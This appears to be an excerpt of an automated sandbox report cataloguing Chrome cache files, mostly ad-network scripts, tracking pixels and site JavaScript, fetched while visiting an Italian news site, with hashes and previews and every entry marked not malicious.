SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 671

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	4.058870548695047
Encrypted:	false
SSDEEP:	6:UWlDTA/L9LlCtW73v/WzFOQgOfyD7X/J84+6B:UWlDTADLCQvPrLRtB
MD5:	C7306E6EEC04C7ADE6C6C2DB0AD4F178
SHA1:	A93BD1395EA4DF2EE58FAC95CF02714FC7619098
SHA-256:	DFA64C5BD2683A5640840FCC3E011D27499E4E817FAA7FA09B47AE40876D3ECA
SHA-512:	3EF60822C08FB761CB36F31EFAB840D8E07F79BA6CA4B930B8D2ED2DA2984D36C53DAF632111AAFDBD0EBCC5844F3FAFA26E3DC522A8DC627E7381CA1543CFBD
Malicious:	false
Reputation:	low
Preview:	async function prepare(data){. try {. let referral = window.document.referrer;. if (referral) {. this.CustomVariable = { n: 'referral', t: 'string', v: referral };. } . } catch(err){}. return true;.};

Chrome Cache Entry: 672

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://sync.richaudience.com/a9b03dc9bdef0bcb818e9c4110ca0368/?uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 673

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3900), with no line terminators
Category:	downloaded
Size (bytes):	3900
Entropy (8bit):	5.3532848262713815
Encrypted:	false
SSDEEP:	96:b3Wt8p0BovEVCjzJMYr47OP+bZPFzj++mebXhFEVCjzJODyRfqa7b:elovEVCjzJMYr47OP+dd3++lT7EVCjzV
MD5:	A92FDCD65D3B62C93A0FE1A8603C952E
SHA1:	79187FA1674937E4ABE1D730A31DA135B6BAB47C
SHA-256:	DD9E26FABBA00D0AA3F899D96DE86AF7EEB6311C3AF9F24E40C7E6A39625146D
SHA-512:	C57F007EA44DFDA3B49B52DF4B7B53390F30C985187B9CE525D685CD8D08EF5F514AB161B9390BBC05B8416E4D532A0867560B81A8B88F2DD033BA8E921A150A
Malicious:	false
Reputation:	low
URL:	https://launchpad-wrapper.privacymanager.io/8b0c9ead-8934-45cd-84f5-3219dc4e4700/launchpad-liveramp.js
Preview:	var launchPad=document.createElement("script"),launchPadConfiguration=(launchPad.async=!0,launchPad.defer=!0,!function(){var o,n,i,t;"function"!=typeof window.__launchpad&&(o=[],n=window,i=n.document,t=n.__launchpad?n.__launchpad.start:function(){},!n.__launchpad)&&function t(){var a,e=!!n.frames.__launchpadLocator;return e\|\|(i.body?((a=i.createElement("iframe")).style.cssText="display:none",a.name="__launchpadLocator",i.body.appendChild(a)):setTimeout(t,5)),!e}()&&(n.__launchpad=function(t,a,e,i){if(!(t=[t,a,e,i]).length)return o;"ping"===t[0]?"function"==typeof t[2]&&t[2]({loaded:!1,apiVersion:"1.0"},!0):o.push(t)},n.__launchpad.commandQueue=o,n.__launchpad.start=t,n.addEventListener("message",function(e){var i="string"==typeof e.data,t={};try{t=i?JSON.parse(e.data):e.data}catch(t){}var o=t.__launchpadCall;o&&n.__launchpad(o.command,o.version,function(t,a){e.source&&(t={__launchpadReturn:{returnValue:t,success:a,callId:o.callId,command:o.command}},i&&(t=JSON.stringify(t)),e.source.po

Chrome Cache Entry: 674

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	49159
Entropy (8bit):	5.996703365088858
Encrypted:	false
SSDEEP:	768:hX4Q+9Zh+Clpxixm7yhemwuaSyqCH8CxtLTUVgO808VCzlxKL0R1JRJ1qomRzzId:hB7mboVWC5xNJ1qXS
MD5:	0EF97BC200F1B8CCC324E854CE9F118A
SHA1:	5C5607CF810A564B309079BBA91FF1FAF66C41C5
SHA-256:	C4F9661BB7D3F82194D6880F2E23AD4832AB8F3B44EA594F4042CA4BD2AA368D
SHA-512:	FB326782DAD3D26634BB3E14D9A656014411F16576CD8E2F2289AB5D871C30770A6386F2FE266347F9041EE5E9BDCD74C4A3C659578706C574B4F43EA68BD00B
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/gampad/ads?pvsid=1536995679409651&correlator=4021198300896108&eid=31079957%2C31081973%2C95327887%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2Cbsnews_dsk_intro&enc_prev_ius=%2F0%2F1&prev_iu_szs=1000x500%7C1x8&ifi=1&didk=2826984766&sfv=1-0-40&eri=1&sc=1&cookie_enabled=1&abxe=1&dt=1711615881767&lmt=1711560111&adxs=0&adys=13555&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1&ucis=1&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=1263x13576&msz=1000x-1&fws=512&ohw=0&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvYnNuZXdzX2Rza19pbnRybyIsW11dXV0sbnVsbCwzXQ..&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Dinstant%26refreshCount%3D0&cust_params=consent%3Dyes&adks=3120347037&frm=20
Preview:	{"/150134580/bsnews_dsk_intro":["html",1,null,null,1,8,1,0,0,null,null,null,1,[["ID=5a20f3698ac5543a:T=1711615883:RT=1711615883:S=ALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw",1745311883,"/","bsnews.it",1],["UID=00000dd677e4c409:T=1711615883:RT=1711615883:S=ALNI_MaPd99p4hleXn7g9hP9Umghtsik5A",1745311883,"/","bsnews.it",2]],[138458141890],[6491094638],[5373726474],[3281542230],null,null,null,null,null,null,null,1,[676982961],null,null,null,null,null,"AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA","CIKK14XKloUDFRTfKAUdQp8IWA",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,"AA-V4qPVyyDvxN2ZESotuK9HENpETrLgMROaJFy_bJFnGl_5OQd3vwQrxpfpSQ2A6wuyjk9cIRsoQ0vBDLoaGEf9Mj-MCxyWfztBuckzLalWtk_VVypn6YFslxfQoeiZI_E-gue5M3GUKz4h28YNCyobef67rFdRhEobkPdby0U6IfI",null,null,null,null,null,null,[["ID=cc6c7834f606d8cb:T=1711615883:RT=1711615883:S=AA-AfjaA5FLn8-B8c9rY-TlRBBKM",1727167883,"/","bsn

Chrome Cache Entry: 675

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6132), with no line terminators
Category:	downloaded
Size (bytes):	6132
Entropy (8bit):	5.183818588165721
Encrypted:	false
SSDEEP:	96:movQi6SXbSt6699WUCQwbJySXbvypZDAarw:mpi6SWro48unFE
MD5:	CD050A5BC1DA9376285DF37A290ABD6C
SHA1:	6CB34D7B9F837DC0555794DDE37C3207EE88E536
SHA-256:	48B4BCE0DC726DDD349280159514B9AC13D37C849A04FBA5B2E6C7FADEF98AA2
SHA-512:	539FCB3BAACB5D76BE966540E1809A2B1F65FFF173A381EFB920BC8BA4A2658D6AC6069BB8C0165292BD38862BEB24625EE2B32F0BDEA495C5725E5B701D21BF
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdAjaxSearch.js?ver=12.6.5
Preview:	var tdAjaxSearch={};jQuery().ready(function(){tdAjaxSearch.init()});(function(){tdAjaxSearch={_current_selection_index:0,_last_request_results_count:0,_first_down_up:!0,_is_search_open:!1,_is_mob_live_search_active:!0,_blockAtts:void 0,init:function(){jQuery(document).on("click",function(a){"td-icon-search"!==a.target.className&&"td-header-search"!==a.target.id&&"td-header-search-top"!==a.target.id&&!0===tdAjaxSearch._is_search_open&&tdAjaxSearch.hide_search_box()});jQuery("#td-header-search-button").on("click",function(a){a.preventDefault();a.stopPropagation();!0===tdAjaxSearch._is_search_open?tdAjaxSearch.hide_search_box():tdAjaxSearch.show_search_box()});jQuery("#td-header-search-button-mob, .tdb-header-search-button-mob").on("click",function(a){if("disabled"!==window.tdMobileSearch){jQuery("body").addClass("td-search-opened");var b=jQuery("#td-header-search-mob");setTimeout(function(){b.focus();var a=b.val();b.val("");b.val(a)},1300);tdAjaxSearch._is_mob_live_search_active&&0<b.val

Chrome Cache Entry: 676

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 6 x 5
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	3.8488255736198
Encrypted:	false
SSDEEP:	3:CN+ltRPQEsJen2sSX:xvQEsJ42sSX
MD5:	E4D673A55C5656F19EF81563FB10884C
SHA1:	1F2D8ED221D39329251AD3A6FF1EDB20B7219443
SHA-256:	F3A8992ACB9AB911E0FA4AE12F4B85EF8E61008619F13EE51C7A121FF87F63B1
SHA-512:	E0B03411282A979CF772F700D9E5634B0C25C612E380AD33C0D59059B1B479D027016D5BEB148403EF185430DB35F5FAED362F36CE2C8ECAD0E6D8E30CEA97B4
Malicious:	false
Reputation:	low
URL:	https://pixel.wp.com/g.gif?v=ext&blog=123231640&post=95325&tz=1&srv=bsnews.it&j=1%3A13.2.2&host=bsnews.it&ref=&fcp=4370&rand=0.5387852691627564
Preview:	GIF89a.............!.......,............bx..j....;

Chrome Cache Entry: 677

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	8315
Entropy (8bit):	7.926615546350608
Encrypted:	false
SSDEEP:	96:ZFNPGZ2a1FmjR6Sb8tKIqwXoFtSDxIFgNYHSV0801UJICwyflMnDAfyh7xzisvFk:dPg2KmjRcKPgxcgNTC5MICw4g/x5Jwbz
MD5:	0E3E1CBFA59B693FD35A451EC224E7BA
SHA1:	439F18E406607655E0C82F093520F25CCEA2BE59
SHA-256:	01FF64C196A2457FBAE43E2907CA967B001F009C032D80A393D66432E700834E
SHA-512:	46850A4586AD677C3CA702D550A93A5EF2F6A13CFF98E886F3DDC73F9539F86DBCE91DFC1A189309F157409333FF9E811CEF19878FCAC252C5A47DA595D6E26A
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D.."...................................................................................R.9DD$...snX....0.J:O..7i.g.{..<.>m.Y..8z....{,.....0:B..q.:...c...e8.H.bIEW0....I..SF....13Oz.$...T.qV..:}.;..i.@..:..C$...sE.m......\.......d.m.0t3.^.pv...".k...a%.3.h....BH....i.....+k1...........z..J.95.^..K.RL..B=\..7@t..c.`$..C......v......r.9..0brm..-.<...5.,.)_.>....Yjv.y...u.U..y...Z\.:.]Q..$.W.P..s..y..q.F.=....:.[.......,)+j..G.06..Hwg.v@..gr.I..r.....u..xas.R..;><Q...n..Wk...7..V$...a.;.c.E.$...kfi.kcT.kTDj.x..t............o..y.]._.......M.h..d.c..].3...I.... ).5..O.v...m .\.....R.... $........6.s...h.r.c.`Ce....y.n;T.x.Q$....q....In..xn.t.FUG.9 ....N..f........%~.(..V"M..8......Qe..9...%..).Sjb...bj16j$...M1..x.X.K..........;..-.o.e...]..Q...U...u.^......b.BQ$........m.8.I.

Chrome Cache Entry: 678

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13070), with no line terminators
Category:	downloaded
Size (bytes):	13070
Entropy (8bit):	5.335069410122404
Encrypted:	false
SSDEEP:	192:7HvpNnCpSakKUGHFq/TCLn297ZamtRFJ0EHTCtbiQT3NcT1VZEFG:jp6lq/Tn7ZaERFJ0EHTJWcT17t
MD5:	F5CA7BF18F3CE8EC2BCE6978902BEE0B
SHA1:	6AE1219E79494F6B38D246E529F2E698679C49C3
SHA-256:	972DC1153BA1A0ECC4B0AB4D4AD33775D6ACE2779A421666B6A24C2CAFC59B8A
SHA-512:	37940A86DCC47ED45834119A4FB70A9DF8927B4A9A4B4629BD5A7028C80FCE32FC1DE054EDF43A10897B5F659379CABE957B8A27668ABCABF14CBFFC2EDE39AA
Malicious:	false
Reputation:	low
URL:	https://secure.gravatar.com/js/gprofiles.js?ver=202413
Preview:	!function(){"use strict";function t(r){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(r)}function r(r){var a=function(r,a){if("object"!==t(r)\|\|null===r)return r;var n=r[Symbol.toPrimitive];if(void 0!==n){var i=n.call(r,a\|\|"default");if("object"!==t(i))return i;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===a?String:Number)(r)}(r,"string");return"symbol"===t(a)?a:String(a)}var a={d:(t,r)=>{for(var n in r)a.o(r,n)&&!a.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:r[n]})},o:(t,r)=>Object.prototype.hasOwnProperty.call(t,r)},n={};a.d(n,{i:()=>l});var i={top:"paddingBottom",bottom:"paddingTop",left:"paddingRight",right:"paddingLeft"};function e(t){var r={"&":"&","<":"<",">":">",'"':""","'":"'","`":"`"};return t.replace(/&(amp\|lt\|gt\|quot\|#39\|x60);\|[\&<>"'`]/g,(

Chrome Cache Entry: 679

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (963)
Category:	downloaded
Size (bytes):	1002
Entropy (8bit):	5.4190006475523065
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hT+zXh6vEFM+sBntvwCCZV9UkPYMMTuRXKr5c:c2Yz8T6YviMnhYJgMMTuRXEc
MD5:	FA7B070B26233782CB8B83C9FF36D187
SHA1:	77F9911F571D5D4CEEAE2BAC22839298B49CB493
SHA-256:	31E9B87D837F6C0B27FCD07110F7E79A059DAE5FF4D5BD40C0FE0119BA2CEE97
SHA-512:	213A47C354B62FBEF8E7A5D44C6240402AE4B107FE3252610CE641E5ADCE7F590FADDCAAF436F74052D65AABC30AF34E63237AF6B3D9508150CE32D8CC65A2EC
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=thetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=appnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://match.adsrvr.org/track/cmf/generic?ttd_pid=tremor&ttd_tpi=1&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear></Creative></Creatives></Wrapper></Ad></VAS

Chrome Cache Entry: 680

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4849)
Category:	downloaded
Size (bytes):	10926
Entropy (8bit):	5.658124839794786
Encrypted:	false
SSDEEP:	192:OHumCU+0tYkXcNm48cm+MUGf05zpl03S3SKOqXa:OQ4Ykd48cm+MWxi8Xa
MD5:	208D5361BFA448A6B01C75AB19164815
SHA1:	D251BF86E30537A6D43639DAFBBACEEC7AAA45E0
SHA-256:	06ED0D809178333C4CC4E1442B50E1F2E076B947466C4A204202FC90DF34F833
SHA-512:	45B2AF6C67A0FD46F79A10050BA5A510E79651160BF877773FC4B3FFD48280194584C5DB6F5351E3752EEA0E72BDE8CDDFE2D203A77892AADB65AF52041DE6B6
Malicious:	false
Reputation:	low
URL:	https://a.teads.tv/analytics/tag.js
Preview:	!function(){{let e;(d=e=e\|\|{})[d.V1=1]="V1",d[d.V2=2]="V2";let n;(d=n=n\|\|{})[d.GDPR_DOESNT_APPLY=0]="GDPR_DOESNT_APPLY",d[d.GDPR_APPLIES_GLOBAL=11]="GDPR_APPLIES_GLOBAL",d[d.GDPR_APPLIES_PUBLISHER=12]="GDPR_APPLIES_PUBLISHER",d[d.UNSUCCESSFUL_CMP_RESPONSE=21]="UNSUCCESSFUL_CMP_RESPONSE",d[d.CMP_NOT_FOUND=22]="CMP_NOT_FOUND",d[d.CMP_NOT_READY=23]="CMP_NOT_READY",d[d.OTHER=24]="OTHER",d[d.UNKNOWN=25]="UNKNOWN";let t;(d=t=t\|\|{})[d.GDPR_DOESNT_APPLY=0]="GDPR_DOESNT_APPLY",d[d.GDPR_APPLIES_GLOBAL_CLASSIC=110]="GDPR_APPLIES_GLOBAL_CLASSIC",d[d.GDPR_APPLIES_GLOBAL_OVERLAY=111]="GDPR_APPLIES_GLOBAL_OVERLAY",d[d.GDPR_APPLIES_GLOBAL_TEADS_BECAUSE_NO_CMP=112]="GDPR_APPLIES_GLOBAL_TEADS_BECAUSE_NO_CMP",d[d.GDPR_APPLIES_PUBLISHER_CLASSIC=120]="GDPR_APPLIES_PUBLISHER_CLASSIC",d[d.GDPR_APPLIES_PUBLISHER_OVERLAY=121]="GDPR_APPLIES_PUBLISHER_OVERLAY",d[d.GDPR_APPLIES_PUBLISHER_TEADS_BECAUSE_NO_CMP=122]="GDPR_APPLIES_PUBLISHER_TEADS_BECAUSE_NO_CMP",d[d.GDPR_APPLIES_PUBLISHER_TEADS_AFTER_TIMEOUT=123]="GD

Chrome Cache Entry: 681

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	9339
Entropy (8bit):	7.919919275351869
Encrypted:	false
SSDEEP:	192:HQp9y+u0ntx7lY8b3Xo2jBTb9ctSxZxCZIH5/GspfZJGUnH:wpdu8D728b3PhpcoxZUKH5esNrr
MD5:	E51D9E4B89D3690EB8A0E0B941E49F66
SHA1:	37DA51B20ACE7296F55F7E68971A22BA1091A540
SHA-256:	D237D412549E288B9280E6D168815EA48935D7E7F5DCC7EE99A30A9AA01948DE
SHA-512:	2A940DD68C5F4FC377347DB158763042545F344C68C0FFF8CB181B3513C9F9051064CFA0ED1A845C8909786C6A2FFA7914D5DFBB72B37B45ACCCF92C03F50EC0
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D.."............................................................................................S.9...fI..f.y..^.kp.e...h.$........ .4TL........P.id.t~...n;t]..._W..94...<//....h...........&2t.....-..(....T...Z..3ge.L.....zVrX}..A.f..L..W9.u...9X..=o...... L...b..K.WY..B.&.\.h...i..>V.Z......^.}...WWg....K.@.h.;.k..WN.Q..%.E.lT.... ..z.qg........_d.. ..yo....U.QQ.....t;M...F...i.9yg.....r.b...../{.{.!.I.....Ztm....5r...\|..t..G...[....{+4TF.....<.T.....n.QW.............#..l.....E.r..Ht.....kW.b.y....X.:........2...3V.Mj.'.EE.e.:\|...x.e...s.t.W.... ..W.^.8q.t..~s..q.t.1;U...^-".{..............DI3E.6^.Rjo.R[..m..#p..N...5d.\N.....k.........3.Ml'.9..k.y......fb....ON....]....o.m..V..k...$M.J...K.K.m\.'.{<..i...x.7...F..........j2...N.....b.I....hiX.....8.^.<.I....&...$

Chrome Cache Entry: 682

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537148856&val=ZgUvkQAB4q7dwAA-&_test=ZgUvkQAB4q7dwAA-
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 683

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	46839
Entropy (8bit):	6.009651270785301
Encrypted:	false
SSDEEP:	768:1Q+9Zh+Clpxixm7yhemwuaSyqCH8Cxt2GLTUVgOgVobVCzlxKPMJVVoKcBZomRzi:O7mZLoViVEC5xKP6VVLYZXS
MD5:	BCBE9D284619B78C0FA31ED30830C6A7
SHA1:	2B779E66D7C10EE597DBAD82FE6AC5DCAC622BD3
SHA-256:	C4594DF95D11F299EB75AC24A3CD21BAE30921D5051908F1FFBFF71507386E3D
SHA-512:	BB8E793F4BFBD0452A0FFC9E1DE77E425E013A34F6D356CC153A049D08A2FF57524E8B9F4B7A8A569512561946F2994A58CB25B75E00880986DA8A648841381E
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/gampad/ads?pvsid=1536995679409651&correlator=1173567385028364&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2CBSNEWS-DSK-Spalla-dx-300X600-ATF&enc_prev_ius=%2F0%2F1&prev_iu_szs=300x250%7C300x600&ifi=5&didk=315054745&sfv=1-0-40&rcs=1&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615907478&lmt=1711560111&adxs=842&adys=593&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=2&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=324x636&msz=324x0&fws=4&ohw=324&psts=AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=3&tps=3&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvQlNORVdTLURTSy1TcGFsbGEtZHgtMzAwWDYwMC1BVEYiLFtdXV1dLG51bGwsM10.&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Dinterval%26refreshCount%3D1%26amznbid%3Ddom3nk%26amznp%3D1arrojk%26amzniid%3DJN4DjSDaVI4Pxl_uXYENjVEAAAGOhEHcFwEAAA4rAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICBHLOLb%26amznsz%3D300x600%26amznactt%3DOPEN&cust_params=consent%3Dyes&adks=979779281&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM
Preview:	{"/150134580/BSNEWS-DSK-Spalla-dx-300X600-ATF":["html",1,null,null,1,600,300,0,0,null,null,null,1,null,[138298069399],[5246207448],[4519387872],[2638048796],null,null,null,null,null,null,null,1,null,null,null,null,null,null,"AOrYGslRtf8rYPHLW-WeosWG3b4NUicILLiH3FvkXeuebCfSQI_4zUhIUvab4usbTw_CDXB8qKzobLI-Zx56yzwigvO6VPk","CJXbmpTKloUDFY_SKAUdcd0JOg",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"2",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,[]]}.<!doctype html><html><head><script>var inDapIF=true,inGptIF=true;</script></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><script>window.dicnf = {};</script><script data-jc="42" data-jc-version="r20240326" data-jc-flags="["x%278446'9efotm(&20067;>8&>`dopb/%<1732261!=\|vqc)!7201061?'9efotm(&20723;>:&>`dopb/%<1245;05!=nehu`~"]">(function(){'use strict';/* Copyright The Closure Library Authors. SPDX

Chrome Cache Entry: 684

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2553)
Category:	downloaded
Size (bytes):	23530
Entropy (8bit):	5.497656132776961
Encrypted:	false
SSDEEP:	384:kM/aDTs87Jbt81zUbdLZNaAsoSfX/KPH7T3BZdeX2hGWNH0pKyzy4dYlkWyv7S/v:J/aXskJt8xEdLZNaNtfX/KPH712X2hGK
MD5:	7FBC48EABE9BB1BEF523CF346C9E5363
SHA1:	FAB1C4A60DD82A0EA5EC61EE75A9D3D9DBA2472B
SHA-256:	51586EC2D56DC12C32B65B0612D89695B3A5B7D0C91592ACAD6EC8A04F8701AA
SHA-512:	EC7DED2166D3A59AF2A7EF2D792753007F4F7C872FE1842D9340080580BB4C56951F2C5DBC4E4BA71BAC8D1B43CF961FC10BF3336BF7F5980DD972B559B2F43E
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/pagead/js/r20240326/r20110914/abg_lite_fy2021.js
